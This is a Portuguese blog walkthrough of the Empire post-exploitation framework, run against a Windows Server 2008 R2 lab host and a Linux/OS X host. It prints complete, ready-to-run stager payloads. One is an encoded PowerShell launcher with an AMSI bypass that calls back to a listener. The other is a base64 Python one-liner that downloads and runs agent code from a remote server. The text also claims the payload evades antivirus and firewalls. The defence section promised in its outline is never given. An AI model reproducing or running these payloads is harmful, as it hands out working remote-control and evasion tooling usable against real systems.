DOE AGORA Qualquer valor

Testing EMPIRE: framework desenvolvida em python de nome Empire

Neste artigo vamos abordar uma framework desenvolvida em python de nome Empire, que se carateriza como um agente de pós-exploração de puro PowerShell, construído em comunicações criptologicamente seguras e uma arquitetura flexível, o Empire implementa a capacidade de executar agentes de PowerShell sem a necessidade de powershell.exe, constituído por módulos de pós-exploração rapidamente implantáveis, desde loggers de chave até Mimikatz, e comunicações adaptáveis ​​para se evadir à detecção de rede, tudo envolvido em uma estrutura com facilidade de usabilidade.

Este artigo está dividido da seguinte forma:
  • Introdução Empire
  • Iniciando o Ataque
  1. Fase Listeners
  2. Fase Stagers
  3. Fase Agents
  • Soluções de Defesa
  • Conclusão
  • Referências

Introdução

O Empire é uma estrutura de pós-exploração que inclui um agente puro do PowerShell 2.0 Windows e agentes Python 2.6 / 2.7 para Linux / OS X.
Isto dá-se pela fusão dos anteriores projetos PowerShell Empire e Python EmPyre. O PowerShell Empire estreou em BSidesLV em 2015 e Python EmPyre pré-fabricado no HackMiami 2016.

Iniciando o ataque

Para dar inicio ao ataque contra sistemas operativos Windows, utilizamos o Kali Linux, carregado com a framework em um ambiente controlado de laboratório para a execução deste exemplo prática, a reprodução deste laboratório fica por conta de cada um, sendo de sua inteira responsabilidade as ações que praticar.
Não é intenção deste artigo explicar o passo-a-passo da configuração do Empire, no entanto vários documentos de boa qualidade existem na internet explicando com detalhe as configurações básicas de setup inicial, a documentação oficial também é um bom começo para quem ainda não teve a oportunidade de ter contato com a ferramenta.
Depois de instalado e configurado deve proceder para os próximos passos, descritos em baixo.
Para iniciar a ferramenta deve digitar o seguinte comando:
root@kali:~/Programas/Empire# ./empire
Fase Listeners
Depois de a ferramenta carregar após alguns segundos, a primeira coisa que você precisa fazer é configurar um listener, que neste contexto representa uma máquina que fica a ouvir localmente pelo retorno de ligações.
O comando dos listeners irá fazer você pular para o menu de gerenciamento do ouvinte. Todos os ouvintes ativos serão exibidos, e essa informação pode ser exibida novamente a qualquer momento com o comando da list.
O comando de informação exibirá as opções de ouvinte atualmente definidas.
Empire) > listeners
[!] No listeners currently active
(Empire: listeners) > info
[!] Invalid listener name
Se o comando info retorna um aviso, é porque o listener ainda não foi configurado, como se pode observar pela figura em baixo.
De suma importância referenciar neste ponto, antes de prosseguir que o Empire segundo os seus developers (@harmj0y, @sixdub, @enigma0x3) passou por grandes alterações desde o seu lançamento no BSidesLV (Las Vegas) em 2015, então a versão que estamos atualmente a usar em 2017 é a versão 2.0, o que muda ligeiramente o contexto dos comandos, mas segue o mesmo padrão de procedimentos.
“recently made some of the biggest changes to Empire since its release at BSidesLV in 2015. “
Contudo a base do código mudou e algumas das mudanças importantes são descriminadas a seguir em inglês, no entanto a lista não é exaustiva, para um maior detalhe deve procurar o site dos desenvolvedores, em baixo nas referências do artigo.

Misc. Changes

First, a grab-bag of mods vs. 1.6:
  • For the PowerShell launcher/stager:
    • RC4 was implemented for first stage obfuscation instead of XOR
    • @mattifestation‘s AMSI bypass implemented in the stage0 launcher
    • staging now uses HMAC/nonces
  • For OS X/Python, lots of new stagers! @xorrior will have a more detailed post on these in the coming weeks:
  • Epoch-syncing was removed- we know this introduces a possibility of packet replay, but too many users had too many issues with the epoch-syncing approach.
  • Vastly increased debugging output. Use ––debug to output debug information to output to empire.debug, and ––debug 2 to display the same information to the screen.
  • If agents are ‘orphaned’ they will restage to the control server.
  • HTTP listener redone with Flask.
  • Improved Kerberoasting module with credentials/get_spn_tickets.
  • BloodHound module (situational_awareness/network/bloodhound) will execute collection and output to CSVs.
  • We implemented @enigma0x3’s fancy new eventvwr UAC bypass
     
    that doesn’t drop a DLL to disk. The module is privesc/bypassuac_eventvwr and has been set as the alias for “bypassuac <LISTENER>” in the agent menu.
  • Lots of code rot removed, several files got some fresh paint.

Feita a ressalva, vamos agora configurar um ouvinte, digitado o seguinte comando:
(Empire: listeners) > uselistener
Pode observar que tem algumas opções disponíveis como:
dbx http http_com http_foreign http_hop meterpreter
No caso vamos selecionar o http_com, com o seguinte comando e ver as opções disponíveis:
(Empire: listeners) > uselistener http_com
(Empire: listeners/http_com) > info
Com as configurações padrão, pode de seguida digitar o seguinte comando:
(Empire: listeners/http_com) > execute
Caso a porta default TCP 80 do protocolo HTTP esteja em uso, como se pode observar na figura em baixo é necessário trocar por uma que esteja disponível.
Neste momento pode configurar a porta com o comando:
set Port <porta_disponível>
E como pode observar a porta foi redefinida para TCP 8080.
Agora pode executar a escuta com o seguinte comando:
(Empire: listeners/http_com) > execute
A qualquer momento durante a configuração pode digitar o comando help para observar os comandos disponíveis na interface. No caso utilizamos o seguinte comando para verificar as escutas ativas.
(Empire: listeners/http_com) > listeners
Uma vez que não vamos utilizar o primeiro Listener pode remover com o comando:
(Empire: listeners) > kill http_com
Fase Stagers
Próximo passo é configurar no menu de Listeners um alias do launcher [identificador / nome] para um ouvinte específico que foi carregado anteriormente (este é o módulo stagers / launcher que funciona em segundo plano).
Este comando pode ser executado a partir de um prompt de comando em qualquer máquina Windows alvo para iniciar o processo.
O comando a ser executado é:
(Empire: listeners/http_com) > launcher powershell
Repare que se o comando for digitado dentro do menu dos listeners vai retornar um erro, é necessário entrar dentro do [identificador / nome] para funcionar corretamente, como já foi descriminado anteriormente.
De seguida pode copiar todo código gerado e executar na máquina alvo, lembrando que esta é uma ferramenta de Pós-ataque, então tem que ter acesso ao nível de administrador para executar o ataque com sucesso, outras técnicas serão devidamente detalhadas futuramente.
powershell -noP -sta -w 1 -enc WwBSAGUARgBdAC4AQQBTAHMAZQBtAGIAbABZAC4ARwBlAFQAVABZAHAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAGUAVABGAGkAZQBMAGQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMAZQBUAFYAYQBMAHUARQAoACQATgB1AEwATAAsACQAVABSAHUAZQApAH0AOwBbAFMAWQBTAHQARQBtAC4ATgBlAHQALgBTAGUAcgBWAGkAQwBFAFAATwBpAE4AVABNAGEAbgBBAGcAZQByAF0AOgA6AEUAeABQAEUAQwBUADEAMAAwAEMATwBOAHQAaQBuAFUAZQA9ADAAOwAkAEsAPQBbAFMAWQBTAFQAZQBtAC4AVABlAFgAdAAuAEUATgBDAE8AZABpAE4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAVABCAFkAVABlAFMAKAAnAH0AZgB2AEAAKAAwAC8AQwAmAHMAfABoAFUARABXADIAawB3AFYAUABMAGEASQByAD0AdAArAC0AbABTACMAewAnACkAOwAkAFIAPQB7ACQARAAsACQASwA9ACQAQQByAGcAUwA7ACQAUwA9ADAALgAuADIANQA1ADsAMAAuAC4AMgA1ADUAfAAlAHsAJABKAD0AKAAkAEoAKwAkAFMAWwAkAF8AXQArACQASwBbACQAXwAlACQASwAuAEMATwBVAE4AVABdACkAJQAyADUANgA7ACQAUwBbACQAXwBdACwAJABTAFsAJABKAF0APQAkAFMAWwAkAEoAXQAsACQAUwBbACQAXwBdAH0AOwAkAEQAfAAlAHsAJABJAD0AKAAkAEkAKwAxACkAJQAyADUANgA7ACQASAA9ACgAJABIACsAJABTAFsAJABJAF0AKQAlADIANQA2ADsAJABTAFsAJABJAF0ALAAkAFMAWwAkAEgAXQA9ACQAUwBbACQASABdACwAJABTAFsAJABJAF0AOwAkAF8ALQBCAFgATwByACQAUwBbACgAJABTAFsAJABJAF0AKwAkAFMAWwAkAEgAXQApACUAMgA1ADYAXQB9AH0AOwAkAGkAZQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAEMATwBNACAASQBuAHQAZQByAG4AZQB0AEUAeABwAGwAbwByAGUAcgAuAEEAcABwAGwAaQBjAGEAdABpAG8AbgA7ACQAaQBlAC4AUwBpAGwAZQBuAHQAPQAkAFQAcgB1AGUAOwAkAGkAZQAuAHYAaQBzAGkAYgBsAGUAPQAkAEYAYQBsAHMAZQA7ACQAZgBsAD0AMQA0ADsAJABzAGUAcgA9ACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAuADUAMAA6ADgAMAA4ADAAJwA7ACQAdAA9ACcALwBsAG8AZwBpAG4ALwBwAHIAbwBjAGUAcwBzAC4AcABoAHAAJwA7ACQAaQBlAC4AbgBhAHYAaQBnAGEAdABlADIAKAAkAHMAZQByACsAJAB0ACwAJABmAGwALAAwACwAJABOAHUAbABsACwAJwBDAEYALQBSAEEAWQA6ACAAVwBRAGoAVQA3AGoARABRADEAbQBsADgARgB5AHgAZAArAEcARgBEADgARABMAEwATQB5AG8APQAnACkAOwB3AGgAaQBsAGUAKAAkAGkAZQAuAGIAdQBzAHkAKQB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAAxADAAMAB9ADsAJABoAHQAIAA9ACAAJABpAGUALgBkAG8AYwB1AG0AZQBuAHQALgBHAGUAdABUAHkAcABlACgAKQAuAEkAbgB2AG8AawBlAE0AZQBtAGIAZQByACgAJwBiAG8AZAB5ACcALAAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQgBpAG4AZABpAG4AZwBGAGwAYQBnAHMAXQA6ADoARwBlAHQAUAByAG8AcABlAHIAdAB5ACwAIAAkAE4AdQBsAGwALAAgACQAaQBlAC4AZABvAGMAdQBtAGUAbgB0ACwAIAAkAE4AdQBsAGwAKQAuAEkAbgBuAGUAcgBIAHQAbQBsADsAdAByAHkAIAB7ACQAZABhAHQAYQA9AFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGgAdAApAH0AIABjAGEAdABjAGgAIAB7ACQATgB1AGwAbAB9ACQASQB2AD0AJABEAGEAdABBAFsAMAAuAC4AMwBdADsAJABkAEEAVABBAD0AJABEAGEAdABBAFsANAAuAC4AJABEAEEAdABhAC4AbABFAE4ARwBUAEgAXQA7AC0ASgBvAGkATgBbAEMASABBAFIAWwBdAF0AKAAmACAAJABSACAAJABkAGEAdABBACAAKAAkAEkAVgArACQASwApACkAfABJAEUAWAA=
Repare que este código não é reconhecido como um malware, e pode ser transferido para um sistema alvo sem ser tratado como uma potencial ameaça, uma vez que é considerado como um comando de powershell.
O alvo escolhido no caso foi um servidor Windows Server 2008 R2 (64 bits), por ser um tipo de servidor vastamente implementado no cenário mundial em pequenas e médias empresas, porém o mesmo procedimento poderia ter sido implementado em sistemas Desktop Windows 7, 8 e 8.1 de (32 e 64 bits).
Os sistemas Windows Server 2012 e 2016 não foram abordados neste artigo.
Quando este comando foi digitado no Windows automaticamente ficou ativo na memória do sistema operacional e está representado pelo PID (Process Identifier) 4220 como se pode observar pela figura seguinte.
Fase Agents
De volta à consola do Kali, podemos perceber que entramos na última fase do Empire, conhecida como Agent Stage, com os seguintes parâmetros:
Identificador / Nome: listeners/http_com
Agente de Identificação: agent 6U25H8YD
IP alvo: 192.168.2.250
Estado: now active
Podemos observar que o payload ficou ativo no momento que foi executado no servidor, sem que o antivírus, anti-malware ou firewall bloquea-se qualquer comunicação, mesmo sendo executado como Administrador, vários outros payloads testados em outros artigos e abordados anteriormente como por exemplo o Shellter podem ser bloqueados após serem deflagrados no sistema operativo, dependendo da técnica usada de “camuflagem”, técnica vulgarmente utilizada por crackers para ofuscar de alguma forma uma determinada mensagem, aplicação ou ficheiro de dados.
No entanto o Shellter é capaz de recodificar qualquer aplicativo nativo de Windows 32 bits autônomo. Uma vez que estamos tentando evitar a detecção de Anti-vírus, precisamos evitar qualquer coisa que possa parecer suspeita, criando um payload em aplicações ou aplicativos com mais de uma seção contendo código executável, porém este assunto está fora do escopo deste artigo.
Durante o laboratório foram testados vários agents e podendo-se observar que o ativo utilizado ao longo da demonstração têm o PID 4220 e está presente em nossa consola do Empire, para tal digitamos o seguinte comando:
(Empire: listeners/http_com) > agents
(Empire: listeners/http_com) > [+] Initial agent 6U25H8YD from 192.168.2.250 now active
Para tornar a leitura mais fácil e assim identificar mais facilmente um alvo poderá renomear o nome do Agente com o seguinte comando:
(Empire: agents) > rename 6U25H8YD WS2008R2
Os outros agentes uma vez que não estão mais em execução podem ser facilmente removidos com os comandos:
(Empire: agents) > remove 2GB5PZHU
(Empire: agents) > remove LB1WZ6K9
(Empire: agents) > remove YGSXKR41
Por último para se conectar ao alvo deve digitar o seguinte comando:
(Empire: agents) > interact WS2008R2
De seguida para ver as opções que tem sobre a máquina alvo, pode digitar help comando que está disponível a qualquer momento das três fases.
(Empire: WS2008R2) > help
Importante entender neste ponto que embora o artigo não tenha como principal alvo nenhum sistema operativo além da Microsoft, o Empire funciona de igual forma para os sistemas operativos Linux e OSX, como exemplo rápido deixamos os seguintes comandos que cobrem as duas primeiras fases:
(Empire: listeners) > uselistener http
(Empire: listeners/http) > set PORT 8081
(Empire: listeners/http) > execute
(Empire: listeners/http) > launcher python
echo "import sys,base64;exec(base64.b64decode('aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0Y2ggfCBncmVwIC12IGdyZXAiCnBzID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUpCm91dCA9IHBzLnN0ZG91dC5yZWFkKCkKcHMuc3Rkb3V0LmNsb3NlKCkKaWYgcmUuc2VhcmNoKCJMaXR0bGUgU25pdGNoIiwgb3V0KToKICAgc3lzLmV4aXQoKQppbXBvcnQgdXJsbGliMjsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xOTIuMTY4LjIuNTA6ODA4MSc7dD0nL2xvZ2luL3Byb2Nlc3MucGhwJztyZXE9dXJsbGliMi5SZXF1ZXN0KHNlcnZlcit0KTsKcmVxLmFkZF9oZWFkZXIoJ1VzZXItQWdlbnQnLFVBKTsKcmVxLmFkZF9oZWFkZXIoJ0Nvb2tpZScsInNlc3Npb249OXF4dWRQVW91V0ZWSDBZZmxEd0tBMnI2S1RVPSIpOwppZiB1cmxsaWIyLmdldHByb3hpZXMoKToKICAgbyA9IHVybGxpYjIuYnVpbGRfb3BlbmVyKCk7CiAgIG8uYWRkX2hhbmRsZXIodXJsbGliMi5Qcm94eUhhbmRsZXIodXJsbGliMi5nZXRwcm94aWVzKCkpKQogICB1cmxsaWIyLmluc3RhbGxfb3BlbmVyKG8pOwphPXVybGxpYjIudXJsb3BlbihyZXEpLnJlYWQoKTsKSVY9YVswOjRdO2RhdGE9YVs0Ol07a2V5PUlWKyd9ZnZAKDAvQyZzfGhVRFcya3dWUExhSXI9dCstbFMjeyc7UyxqLG91dD1yYW5nZSgyNTYpLDAsW10KZm9yIGkgaW4gcmFuZ2UoMjU2KToKICAgIGo9KGorU1tpXStvcmQoa2V5W2klbGVuKGtleSldKSklMjU2CiAgICBTW2ldLFNbal09U1tqXSxTW2ldCmk9aj0wCmZvciBjaGFyIGluIGRhdGE6CiAgICBpPShpKzEpJTI1NgogICAgaj0oaitTW2ldKSUyNTYKICAgIFNbaV0sU1tqXT1TW2pdLFNbaV0KICAgIG91dC5hcHBlbmQoY2hyKG9yZChjaGFyKV5TWyhTW2ldK1Nbal0pJTI1Nl0pKQpleGVjKCcnLmpvaW4ob3V0KSk='));" | python &
(Empire: listeners/http) > agents
Repare que após executar o código na parte debaixo do shell o agent BIFJL1LF ficou ativo e a consola do empire apresenta agora 2 agentes, o do Windows previamente criado e agora o do Linux / OSX, neste momento concluímos com sucesso a implantação de nosso exploit.

Conclusão:

Neste artigo abordamos a ferramenta Empire desenvolvida em Python que em 2017 chegou à sua fase mais madura de desenvolvimento, com mais potencialidade e diversidade. Embora o foco do laboratório tenha sido apresentar vulnerabilidades em sistemas da Microsoft, o mesmo serve para o Linux e o MAC, todos os comandos são iguais e o mecanismo de implementação/gestão é caraterizado da mesma forma que o apresentado.
A ferramenta apresenta uma solução bastante prática de funcionamento que faz lembra o Metasploit outra ferramente de Penetration Testing mas com capacidades de utilização diferentes. O Empire é maioritariamente uma ferramente de Pós-ataque não se caracterizando em ferramentas do tipo RPC ( Remote Procedure Call) que é uma tecnologia de comunicação entre processos que permite a um programa de computador chamar um procedimento em outro espaço de endereçamento, geralmente outro computador, conectado por uma redes ou infraestrutura.

Referências:

----------------------------------//-----------------------//-------------------------------------
Autor: Carlos Rodrigues
Especialista em Eng. de Telecomunicações e Segurança Computacional
Fundador e mentor do Projeto Open Source LibertyNET
CurtirMostrar mais reações
Comentar

Comentários

Ebook

Postagens mais visitadas